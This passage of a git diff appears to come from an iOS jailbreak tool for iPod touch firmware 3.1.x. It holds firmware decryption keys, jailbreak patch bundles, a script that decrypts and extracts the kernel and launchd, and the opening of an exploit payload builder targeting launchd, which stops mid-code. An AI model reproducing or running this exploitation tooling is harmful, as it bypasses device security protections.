b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/LLB.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/WTF.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/WTF.n45ap.RELEASE.patch new file mode 100644 index 0000000..134313f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/WTF.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch new file mode 100644 index 0000000..be4a47f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBEC.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBEC.n45ap.RELEASE.patch new file mode 100644 index 0000000..134313f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBEC.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBSS.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBSS.n45ap.RELEASE.patch new file mode 100644 index 0000000..d7e0e06 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBSS.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBoot.n45ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBoot.n45ap.RELEASE.patch new file mode 100644 index 0000000..7b17746 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/iBoot.n45ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/kernelcache.release.patch new file mode 100644 index 0000000..e23556f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod1,1_3.1.3_7E18.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/Info.plist new file mode 100644 index 0000000..4d1d07b --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/Info.plist @@ -0,0 +1,196 @@ + + + + + DownloadUrl + http://foobar + Filename + iPod2,1_3.1.2_7D11_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8720x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8720x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n72ap.production/applelogo.s5l8720x.img3 + IV + fb91437b42eff2bc7c41366a1a97537f + Key + 99d6958cca282856f8b2c38aa429d7f7 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8720x + IV + 1d84879d9be87ca9b503216493d15813 + Key + 911fe67f760b98ffdac6cc576b5ca9bf + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n72ap.production/LLB.n72ap.RELEASE.img3 + IV + 7525c877ebd56679618172d619217355 + IsPlain + + Key + 654914557bb53def070a44c1cde59d77 + Patch + LLB.n72ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n72ap.production/recoverymode.s5l8720x.img3 + IV + 2d111a3b5d3c09ad7efc04947dab697f + Key + f0a439241017c09b8ea5527274ec72ce + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6141-014.dmg + IV + f37bd3f9597c1acba87bfd4029a08ff9 + Key + de0e35e16213e69cb9c19dc527d9a96c + TypeFlag + 8 + + Update Ramdisk + + File + 018-6142-014.dmg + IV + 00c0685faeeebc48cb457e679bea9be7 + Key + db7fee02b08b5c9efaae920fdd9ad4f9 + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n72ap.RELEASE.dfu + IV + 0551d6bca63f6e458d65d0e308a4a676 + Key + a2f0497c17e7181705c002f1b1c8edcf + Patch + iBEC.n72ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n72ap.RELEASE.dfu + IV + 083528a985c2e3f90f8324e1e9dce4e4 + Key + c7af1cfc980b24e2464b70310e2b1713 + Patch + iBSS.n72ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n72ap.production/iBoot.n72ap.RELEASE.img3 + IV + 5e421f8ce8c811311bbbb8a734ec07ce + Key + 191b6846543d7026b6f0d5247f030588 + Patch + iBoot.n72ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPod2,1_3.1.2_7D11 + Platform + 2 + PreInstalledPackages + + org.saurik.cydia + com.ripdev.icy + + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RestoreRamdiskMountVolume + ramdisk + RootFilesystem + 018-6133-014.dmg + RootFilesystemKey + FC68C25F1DCC929F37C2BE82B94E4C92B48EAC3DDD67ADEFD462404663265E3DCA43A930 + RootFilesystemMountVolume + Northstar7D11.N72OS + RootFilesystemSize + 510 + SHA1 + e7c83d4a5baec0e81816ae1cd1caf9a4dc38ebf0 + SubPlatform + 5 + + diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/LLB.n72ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/LLB.n72ap.RELEASE.patch new file mode 100644 index 0000000..f5f5119 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/LLB.n72ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBEC.n72ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBEC.n72ap.RELEASE.patch new file mode 100644 index 0000000..cbf9a34 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBEC.n72ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBSS.n72ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBSS.n72ap.RELEASE.patch new file mode 100644 index 0000000..87be05e Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBSS.n72ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBoot.n72ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBoot.n72ap.RELEASE.patch new file mode 100644 index 0000000..ae4c445 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/iBoot.n72ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/kernelcache.release.patch new file mode 100644 index 0000000..54597f0 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.2_7D11.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/Info.plist new file mode 100644 index 0000000..68fc2f3 --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/Info.plist @@ -0,0 +1,184 @@ + + + + + DownloadUrl + http://foobar + Filename + iPod2,1_3.1.3_7E18_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8720x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8720x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n72ap.production/applelogo.s5l8720x.img3 + IV + f246cfefd363c2ec38927473be6f6d45 + Key + afa37377de73fdf1e2ad6b0117cd2847 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8720x + IV + ec772f88c3587c39bb293858554e545d + Key + 19a5d7ebc718322c1e6d6324fb93e324 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n72ap.production/LLB.n72ap.RELEASE.img3 + IV + 91ab08f4458028dd5d1443144ccdd1e3 + IsPlain + + Key + 7d2c252e593eee290fd95fd606334217 + Patch + LLB.n72ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n72ap.production/recoverymode.s5l8720x.img3 + IV + 699f77d3025ff2bbec9bd4ef0a0d8cbe + Key + 6f7455d8c34307e9edeb40fde7343100 + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6508-014.dmg + IV + 2e7aa9f6dc823657f1c930a00db8efe1 + Key + 9781d55350f58c3ff72c7a3e50b70288 + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n72ap.RELEASE.dfu + IV + 7338d081bd8ff380fb2006a7d0d8a84a + Key + 9bdf70dab9a37ae4d2731aa0988fdc82 + Patch + iBEC.n72ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n72ap.RELEASE.dfu + IV + 656dd7144de645da835aaedf9354e153 + Key + 6021f2e35db67c4aaec9c1f27a4226bf + Patch + iBSS.n72ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n72ap.production/iBoot.n72ap.RELEASE.img3 + IV + 7c090ab8c8a0cbc95db1007b322fe960 + Key + ca3893d43d9446cd2f9f3fd5371d02e9 + Patch + iBoot.n72ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPod2,1_3.1.3_7E18 + Platform + 2 + PreInstalledPackages + + org.saurik.cydia + + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RestoreRamdiskMountVolume + ramdisk + RootFilesystem + 018-6481-015.dmg + RootFilesystemKey + 2360D83B606481A5CA080FE7A6FC64F8D5A5556413DFCF3E1277FE564734EE0B188798B8 + RootFilesystemMountVolume + SUNorthstarTwo7E18.N72OS + RootFilesystemSize + 450 + SHA1 + 5f4f5c01eda2f811f73167e7d1f82dbeed82367b + SubPlatform + 5 + + diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/LLB.n72ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/LLB.n72ap.RELEASE.patch new file mode 100644 index 0000000..d9e0b23 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/LLB.n72ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBEC.n72ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBEC.n72ap.RELEASE.patch new file mode 100644 index 0000000..5bfea48 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBEC.n72ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBSS.n72ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBSS.n72ap.RELEASE.patch new file mode 100644 index 0000000..f129941 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBSS.n72ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBoot.n72ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBoot.n72ap.RELEASE.patch new file mode 100644 index 0000000..339046f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/iBoot.n72ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/kernelcache.release.patch new file mode 100644 index 0000000..892b711 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPod2,1_3.1.3_7E18.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPod3,1_3.1.2_7D11.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPod3,1_3.1.2_7D11.bundle/Info.plist new file mode 100644 index 0000000..a937e4c --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPod3,1_3.1.2_7D11.bundle/Info.plist @@ -0,0 +1,184 @@ + + + + + DownloadUrl + http://foobar + Filename + iPod3,1_3.1.3_7E18_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8922x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8922x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n72ap.production/applelogo.s5l8922x.img3 + IV + f246cfefd363c2ec38927473be6f6d45 + Key + afa37377de73fdf1e2ad6b0117cd2847 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8922x + IV + 3dafb6426b7e90ff90965761a02ca222 + Key + 94e4a81c4d09e0cd0dbace483fbfd30a6ea542c58eb35cedbca9d82f44425f88 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n72ap.production/LLB.n72ap.RELEASE.img3 + IV + 91ab08f4458028dd5d1443144ccdd1e3 + IsPlain + + Key + 7d2c252e593eee290fd95fd606334217 + Patch + LLB.n72ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n72ap.production/recoverymode.s5l8922x.img3 + IV + 699f77d3025ff2bbec9bd4ef0a0d8cbe + Key + 6f7455d8c34307e9edeb40fde7343100 + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6508-014.dmg + IV + 2e7aa9f6dc823657f1c930a00db8efe1 + Key + 9781d55350f58c3ff72c7a3e50b70288 + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n72ap.RELEASE.dfu + IV + 7338d081bd8ff380fb2006a7d0d8a84a + Key + 9bdf70dab9a37ae4d2731aa0988fdc82 + Patch + iBEC.n72ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n72ap.RELEASE.dfu + IV + 656dd7144de645da835aaedf9354e153 + Key + 6021f2e35db67c4aaec9c1f27a4226bf + Patch + iBSS.n72ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n72ap.production/iBoot.n72ap.RELEASE.img3 + IV + 7c090ab8c8a0cbc95db1007b322fe960 + Key + ca3893d43d9446cd2f9f3fd5371d02e9 + Patch + iBoot.n72ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPod3,1_3.1.3_7E18 + Platform + 2 + PreInstalledPackages + + org.saurik.cydia + + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RestoreRamdiskMountVolume + ramdisk + RootFilesystem + 018-6152-014.dmg + RootFilesystemKey + 1e05ef21821280869d4029a2328836b9f60bc63907c6e951c0f1c80c2d8c66aef5c39a44 + RootFilesystemMountVolume + SUNorthstarTwo7D11.N72OS + RootFilesystemSize + 450 + SHA1 + 5f4f5c01eda2f811f73167e7d1f82dbeed82367b + SubPlatform + 5 + + diff --git a/igor/ipsw/FirmwareBundles/iPod3,1_3.1.3_7E18.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPod3,1_3.1.3_7E18.bundle/Info.plist new file mode 100644 index 0000000..be61839 --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPod3,1_3.1.3_7E18.bundle/Info.plist @@ -0,0 +1,184 @@ + + + + + DownloadUrl + http://foobar + Filename + iPod3,1_3.1.3_7E18_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8922x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8922x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n72ap.production/applelogo.s5l8922x.img3 + IV + f246cfefd363c2ec38927473be6f6d45 + Key + afa37377de73fdf1e2ad6b0117cd2847 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8922x + IV + 5152a642caf5826d5ec2a41a3f534a28 + Key + 2a2fe89a63cf9f58f8b9af2337eaea7df0a53f9c063b3460f04ec08e9eaa44ab + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n72ap.production/LLB.n72ap.RELEASE.img3 + IV + 91ab08f4458028dd5d1443144ccdd1e3 + IsPlain + + Key + 7d2c252e593eee290fd95fd606334217 + Patch + LLB.n72ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n72ap.production/recoverymode.s5l8922x.img3 + IV + 699f77d3025ff2bbec9bd4ef0a0d8cbe + Key + 6f7455d8c34307e9edeb40fde7343100 + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6508-014.dmg + IV + 2e7aa9f6dc823657f1c930a00db8efe1 + Key + 9781d55350f58c3ff72c7a3e50b70288 + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n72ap.RELEASE.dfu + IV + 7338d081bd8ff380fb2006a7d0d8a84a + Key + 9bdf70dab9a37ae4d2731aa0988fdc82 + Patch + iBEC.n72ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n72ap.RELEASE.dfu + IV + 656dd7144de645da835aaedf9354e153 + Key + 6021f2e35db67c4aaec9c1f27a4226bf + Patch + iBSS.n72ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n72ap.production/iBoot.n72ap.RELEASE.img3 + IV + 7c090ab8c8a0cbc95db1007b322fe960 + Key + ca3893d43d9446cd2f9f3fd5371d02e9 + Patch + iBoot.n72ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPod3,1_3.1.3_7E18 + Platform + 2 + PreInstalledPackages + + org.saurik.cydia + + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RestoreRamdiskMountVolume + ramdisk + RootFilesystem + 018-6522-015.dmg + RootFilesystemKey + 1402974cba4702e831fb821ef9090229f7bad6fd3084fa99bfc8a76de4d839f9bf4533eb + RootFilesystemMountVolume + SUNorthstarTwo7E18.N72OS + RootFilesystemSize + 450 + SHA1 + 5f4f5c01eda2f811f73167e7d1f82dbeed82367b + SubPlatform + 5 + + diff --git a/igor/ipsw/README b/igor/ipsw/README new file mode 100644 index 0000000..54d077b --- /dev/null +++ b/igor/ipsw/README @@ -0,0 +1,5 @@ +In each folder here (except FirmwareBundles, of course), put these files: + - kern (the kernel, decrypted) + - launchd + +Or just use ipsw.py for older firmwares. diff --git a/igor/ipsw/ipsw.py b/igor/ipsw/ipsw.py new file mode 100644 index 0000000..c6c1b22 --- /dev/null +++ b/igor/ipsw/ipsw.py @@ -0,0 +1,82 @@ +# Usage: python ipsw.py [the ipsw to import] +import zipfile, plistlib, shutil, sys, os, tempfile, atexit + +def system(x): + print x + if os.system(x): + raise Exception('Command failed') + +def go_away(): + try: + os.rmdir(output) + except: + pass +atexit.register(go_away) + +input_path = os.path.realpath(sys.argv[1]) +os.chdir(os.path.dirname(os.path.realpath(sys.argv[0]))) +fbs = os.path.realpath('FirmwareBundles') +configdata = os.path.realpath('../configdata.py') +out_root = os.path.realpath('.') +tmpdir = tempfile.mkdtemp() +print 'tmpdir:', tmpdir +os.chdir(tmpdir) + +z = zipfile.ZipFile(input_path, 'r', zipfile.ZIP_DEFLATED) +nl = z.namelist() +#print nl +pl = plistlib.readPlistFromString(z.read('Restore.plist')) +identifier = '%s_%s_%s' % (pl['ProductType'], pl['ProductVersion'], pl['ProductBuildVersion']) +short_identifier = '%s_%s' % (pl['ProductType'], pl['ProductVersion']) +output = os.path.join(out_root, identifier) +os.mkdir(output) +pwnage_pl_fn = '%s/%s.bundle/Info.plist' % (fbs, identifier) +system('plutil -convert xml1 %s' % pwnage_pl_fn) +pwnage_pl = plistlib.readPlist(pwnage_pl_fn) +kc = pwnage_pl['FirmwarePatches']['KernelCache'] + +print 'kernelcache...' +z.extract(kc['File']) +system('xpwntool %s tempkc.e -k %s -iv %s -decrypt' % (kc['File'], kc['Key'], kc['IV'] )) #! +os.unlink(kc['File']) +system('xpwntool tempkc.e %s/kern' % output) #! +os.unlink('tempkc.e') + +print 'root filesystem...' +system('unzip -q -o -j "%s" %s' % (input_path, pwnage_pl['RootFilesystem'])) # for speed +system('vfdecrypt -i %s -k %s -o temproot.dmg' % (pwnage_pl['RootFilesystem'], pwnage_pl['RootFilesystemKey'])) +os.mkdir('mnt') +system('hdiutil attach -noverify -mountpoint mnt temproot.dmg') +shutil.copy('mnt/usr/sbin/scutil', '%s/scutil' % output) +os.chmod('%s/scutil' % output, 0755) +shutil.copy('mnt/sbin/launchd', '%s/launchd' % output) +os.chmod('%s/launchd' % output, 0755) +system('hdiutil detach mnt') +os.unlink('temproot.dmg') +os.unlink(pwnage_pl['RootFilesystem']) +p = os.popen('lipo -info %s/scutil' % output) +stuff = p.read().strip() +if stuff.endswith('armv6'): + arch = 'armv6_3.1.x' +elif stuff.endswith('armv7') and '3.1.' in identifier: + arch = 'armv7_3.1.x' +elif stuff.endswith('armv6'): + arch = 'armv7_3.2.x' +else: + raise Exception('I don\'t know how to interpret: ' + stuff) + +# allow for customization. +if not eval('{%s}' % open(configdata).read()).has_key(identifier): + new = ''' +'*X*': { + '<': '.*A*', + 'kern': { '@binary': 'ipsw/*I*/kern' }, + 'scutil': { '@binary': 'ipsw/*I*/scutil' }, +}, + '''.strip().replace('*I*', identifier).replace('*A*', arch).replace('*X*', short_identifier) + open(configdata, 'a').write(new + '\n') + +# clean up +os.rmdir('mnt') +os.chdir('/') +os.rmdir(tmpdir) diff --git a/igor/liblzma.a b/igor/liblzma.a new file mode 100644 index 0000000..35bd5c0 Binary files /dev/null and b/igor/liblzma.a differ diff --git a/igor/libtar.a b/igor/libtar.a new file mode 100644 index 0000000..7ea6489 Binary files /dev/null and b/igor/libtar.a differ diff --git a/igor/lsstuff.m b/igor/lsstuff.m new file mode 100644 index 0000000..f4ecf88 --- /dev/null +++ b/igor/lsstuff.m @@ -0,0 +1,16 @@ +#import +#import +@interface LSApplicationWorkspace : NSObject { +} ++(id)defaultWorkspace; +-(id)applicationsAvailableForOpeningDocument:(id)openingDocument; +-(id)operationToOpenResource:(id)openResource usingApplication:(id)application uniqueDocumentIdentifier:(id)identifier userInfo:(id)info delegate:(id)delegate; +-(id)operationToOpenResource:(id)openResource usingApplication:(id)application uniqueDocumentIdentifier:(id)identifier userInfo:(id)info; +-(id)operationToOpenResource:(id)openResource usingApplication:(id)application userInfo:(id)info; +-(BOOL)registerApplication:(id)application; +-(BOOL)unregisterApplication:(id)application; +@end + +void register_application(CFStringRef app) { + [[objc_getClass("LSApplicationWorkspace") defaultWorkspace] registerApplication:[NSURL fileURLWithPath:(NSString *)app]]; +} diff --git a/igor/one.py b/igor/one.py new file mode 100644 index 0000000..4951f10 --- /dev/null +++ b/igor/one.py @@ -0,0 +1,464 @@ +import struct, sys, os, json +import warnings +warnings.simplefilter('error') +debug_mode = False + +config = json.loads(open('config.json').read()) +arch = config['arch'] +launchd = config['launchd'] +assert arch in ['armv6', 'armv7'] +imports = ['_open', '_ioctl', '_socket', '_sendmsg', '_mknod', '_chmod', '_close', '_execve', '_symlink', '_errno'] +imports += ['_write', '_close'] +def nexti(addr): + if addr & 1: + addr += 2 + else: + addr += 4 + return addr +myreps = { + '_getpid': launchd['-1'], + '_unsetenv': launchd['0'], + '_launch_data_new_errno': launchd['1'], + '_setrlimit': launchd['2'], + '__exit': launchd['3'], + '_audit_token_to_au32': launchd['4'], + '_launch_data_unpack': launchd['5'], + '_launch_data_dict_iterate': launchd['6'], + + '_pthread_detach': launchd['7']+4, + '_strlcpy': launchd['7']+4, +} + +imports = list(set(imports + myreps.keys())) +imports.sort() + +beforesize = 0x8000 +heapaddr = 0x11130000 +baseaddr = heapaddr - beforesize + +relocs = [] +dontcare = 0 + +fwds = {} +def clear_fwd(): + global fwds + for a in fwds.values(): + a.val = dontcare + fwds = {} +def exhaust_fwd(*names): + for name in names: + if fwds.has_key(name): + fwds[name].val = dontcare + del fwds[name] +def set_fwd(name, val): + assert fwds.has_key(name) and val is not None + fwds[name].val = val + del fwds[name] +class fwd: + def __init__(self, name): + assert not fwds.has_key(name) + fwds[name] = self + self.val = None + def __trunc__(self): + assert self.val is not None + return int(self.val) + def __repr__(self): + return '' % self.val +class token: + def __init__(self, heapstuff): + self.sz1 = len(heapstuff) + + def done(self, heapstuff): + self.sz2 = len(heapstuff) + self.diff = (self.sz2 - self.sz1) * 4 + def __trunc__(self): + assert self.diff is not None + return self.diff +class plusser: + def 